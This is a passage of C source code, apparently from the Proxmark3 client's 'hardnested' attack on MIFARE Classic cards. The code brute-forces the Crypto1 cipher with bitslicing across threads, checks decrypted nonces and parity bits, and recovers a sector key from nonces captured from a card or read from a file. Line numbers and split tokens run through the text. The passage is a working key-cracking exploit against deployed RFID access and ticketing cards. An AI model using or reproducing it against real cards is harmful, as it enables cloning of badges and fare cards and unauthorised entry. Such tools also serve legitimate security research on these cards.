1537 size_t parity_bit_idx
= 0;
1538 bitslice_value_t fb_bits
= fbb
;
1539 bitslice_value_t ks_bits
= ksb
;
1540 state_p
= &states
[KEYSTREAM_SIZE
-1];
1541 bitslice_value_t parity_bit_vector
= bs_zeroes
.value
;
1543 // highest bit is transmitted/received first
1544 for(int32_t ks_idx
= KEYSTREAM_SIZE
-1; ks_idx
>= 0; --ks_idx
, --state_p
){
1545 // decrypt nonce bits
1546 const bitslice_value_t encrypted_nonce_bit_vector
= bitsliced_encrypted_nonces
[tests
][ks_idx
].value
;
1547 const bitslice_value_t decrypted_nonce_bit_vector
= (encrypted_nonce_bit_vector
^ ks_bits
);
1549 // compute real parity bits on the fly
1550 parity_bit_vector
^= decrypted_nonce_bit_vector
;
1553 state_p
[0].value
= (fb_bits
^ decrypted_nonce_bit_vector
);
1555 // compute next keystream bit
1556 ks_bits
= crypto1_bs_f20(state_p
);
1559 if((ks_idx
&7) == 0){
1560 // get encrypted parity bits
1561 const bitslice_value_t encrypted_parity_bit_vector
= bitsliced_encrypted_parity_bits
[tests
][parity_bit_idx
++].value
;
1563 // decrypt parity bits
1564 const bitslice_value_t decrypted_parity_bit_vector
= (encrypted_parity_bit_vector
^ ks_bits
);
1566 // compare actual parity bits with decrypted parity bits and take count in results vector
1567 results
.value
&= (parity_bit_vector
^ decrypted_parity_bit_vector
);
1569 // make sure we still have a match in our set
1570 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1572 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1573 // the short-circuiting also helps
1574 if(results
.bytes64
[0] == 0
1575 #if MAX_BITSLICES > 64
1576 && results
.bytes64
[1] == 0
1578 #if MAX_BITSLICES > 128
1579 && results
.bytes64
[2] == 0
1580 && results
.bytes64
[3] == 0
1585 // this is about as fast but less portable (requires -std=gnu99)
1586 // asm goto ("ptest %1, %0\n\t"
1587 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1588 parity_bit_vector
= bs_zeroes
.value
;
1590 // compute next feedback bit vector
1591 fb_bits
= (state_p
[47- 0].value
^ state_p
[47- 5].value
^ state_p
[47- 9].value
^
1592 state_p
[47-10].value
^ state_p
[47-12].value
^ state_p
[47-14].value
^
1593 state_p
[47-15].value
^ state_p
[47-17].value
^ state_p
[47-19].value
^
1594 state_p
[47-24].value
^ state_p
[47-25].value
^ state_p
[47-27].value
^
1595 state_p
[47-29].value
^ state_p
[47-35].value
^ state_p
[47-39].value
^
1596 state_p
[47-41].value
^ state_p
[47-42].value
^ state_p
[47-43].value
);
1599 // all nonce tests were successful: we've found the key in this block!
1600 state_t keys
[MAX_BITSLICES
];
1601 crypto1_bs_convert_states(&states
[KEYSTREAM_SIZE
], keys
);
1602 for(size_t results_idx
= 0; results_idx
< MAX_BITSLICES
; ++results_idx
){
1603 if(get_vector_bit(results_idx
, results
)){
1604 key
= keys
[results_idx
].value
;
1609 // prepare to set new states
1610 crypto1_bs_rewind_a0();
1616 for(size_t block_idx
= 0; block_idx
< bitsliced_blocks
; ++block_idx
){
1620 __mingw_aligned_free(bitsliced_even_states
[block_idx
]-ROLLBACK_SIZE
);
1622 _aligned_free(bitsliced_even_states
[block_idx
]-ROLLBACK_SIZE
);
1625 free(bitsliced_even_states
[block_idx
]-ROLLBACK_SIZE
);
1629 __sync_fetch_and_add(&total_states_tested
, bucket_states_tested
);
1633 static void* crack_states_thread(void* x
){
1634 const size_t thread_id
= (size_t)x
;
1635 size_t current_bucket
= thread_id
;
1636 while(current_bucket
< bucket_count
){
1637 statelist_t
* bucket
= buckets
[current_bucket
];
1639 const uint64_t key
= crack_states_bitsliced(bucket
);
1641 __sync_fetch_and_add(&keys_found
, 1);
1642 __sync_fetch_and_add(&foundkey
, key
);
1644 } else if(keys_found
){
1651 current_bucket
+= thread_count
;
1656 static bool brute_force(void)
1659 if (known_target_key
!= -1) {
1660 PrintAndLog("Looking for known target key in remaining key space...");
1661 ret
= TestIfKeyExists(known_target_key
);
1663 PrintAndLog("Brute force phase starting.");
1671 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES
);
1672 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02x...", best_first_bytes
[0]^(cuid
>>24));
1673 // convert to 32 bit little-endian
1674 crypto1_bs_bitslice_value32((best_first_bytes
[0]<<24)^cuid
, bitsliced_rollback_byte
, 8);
1676 PrintAndLog("Bitslicing nonces...");
1677 for(size_t tests
= 0; tests
< NONCE_TESTS
; tests
++){
1678 uint32_t test_nonce
= brute_force_nonces
[tests
]->nonce_enc
;
1679 uint8_t test_parity
= brute_force_nonces
[tests
]->par_enc
;
1680 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1681 crypto1_bs_bitslice_value32(cuid
^test_nonce
, bitsliced_encrypted_nonces
[tests
], 32);
1682 // convert to 32 bit little-endian
1683 crypto1_bs_bitslice_value32(rev32( ~(test_parity
^ ~(parity(cuid
>>24 & 0xff)<<3 | parity(cuid
>>16 & 0xff)<<2 | parity(cuid
>>8 & 0xff)<<1 | parity(cuid
&0xff)))), bitsliced_encrypted_parity_bits
[tests
], 4);
1685 total_states_tested
= 0;
1687 // count number of states to go
1689 for (statelist_t
*p
= candidates
; p
!= NULL
; p
= p
->next
) {
1690 buckets
[bucket_count
] = p
;
1695 thread_count
= sysconf(_SC_NPROCESSORS_CONF
);
1696 if ( thread_count
< 1)
1700 pthread_t threads
[thread_count
];
1702 // enumerate states using all hardware threads, each thread handles one bucket
1703 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu64
" states...", thread_count
, bucket_count
, maximum_states
);
1705 for(size_t i
= 0; i
< thread_count
; i
++){
1706 pthread_create(&threads
[i
], NULL
, crack_states_thread
, (void*) i
);
1708 for(size_t i
= 0; i
< thread_count
; i
++){
1709 pthread_join(threads
[i
], 0);
1713 double elapsed_time
= difftime(end
, start
);
1716 PrintAndLog("Success! Tested %"PRIu32
" states, found %u keys after %.f seconds", total_states_tested
, keys_found
, elapsed_time
);
1717 PrintAndLog("\nFound key: %012"PRIx64
"\n", foundkey
);
1718 known_target_key
= foundkey
;
1720 ret
= TestIfKeyExists(known_target_key
);
1722 PrintAndLog("Check if key is found in the keyspace: %d", ret
);
1726 PrintAndLog("Fail! Tested %"PRIu32
" states, in %.f seconds", total_states_tested
, elapsed_time
);
1729 // reset this counter for the next call
1730 nonces_to_bruteforce
= 0;
1736 int mfnestedhard(uint8_t blockNo
, uint8_t keyType
, uint8_t *key
, uint8_t trgBlockNo
, uint8_t trgKeyType
, uint8_t *trgkey
, bool nonce_file_read
, bool nonce_file_write
, bool slow
, int tests
)
1738 // initialize Random number generator
1740 srand((unsigned) time(&t
));
1742 if (trgkey
!= NULL
) {
1743 known_target_key
= bytes_to_num(trgkey
, 6);
1745 known_target_key
= -1;
1748 init_partial_statelists();
1749 init_BitFlip_statelist();
1750 write_stats
= false;
1753 // set the correct locale for the stats printing
1754 setlocale(LC_ALL
, "");
1756 if ((fstats
= fopen("hardnested_stats.txt","a")) == NULL
) {
1757 PrintAndLog("Could not create/open file hardnested_stats.txt");
1760 for (uint32_t i
= 0; i
< tests
; i
++) {
1761 init_nonce_memory();
1762 simulate_acquire_nonces();
1764 printf("Sum(a0) = %d\n", first_byte_Sum
);
1765 fprintf(fstats
, "%d;", first_byte_Sum
);
1766 generate_candidates(first_byte_Sum
, nonces
[best_first_bytes
[0]].Sum8_guess
);
1768 free_nonces_memory();
1769 free_statelist_cache();
1770 free_candidates_memory(candidates
);
1775 init_nonce_memory();
1776 if (nonce_file_read
) { // use pre-acquired data from file nonces.bin
1777 if (read_nonce_file() != 0) {
1780 Check_for_FilterFlipProperties();
1781 num_good_first_bytes
= MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED
);
1782 } else { // acquire nonces.
1783 uint16_t is_OK
= acquire_nonces(blockNo
, keyType
, key
, trgBlockNo
, trgKeyType
, nonce_file_write
, slow
);
1792 //PrintAndLog("Sum(a0) = %d", first_byte_Sum);
1793 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1794 // best_first_bytes[0],
1795 // best_first_bytes[1],
1796 // best_first_bytes[2],
1797 // best_first_bytes[3],
1798 // best_first_bytes[4],
1799 // best_first_bytes[5],
1800 // best_first_bytes[6],
1801 // best_first_bytes[7],
1802 // best_first_bytes[8],
1803 // best_first_bytes[9] );
1805 //PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1807 //clock_t time1 = clock();
1808 //generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1809 //time1 = clock() - time1;
1811 //PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1815 free_nonces_memory();
1816 free_statelist_cache();
1817 free_candidates_memory(candidates
);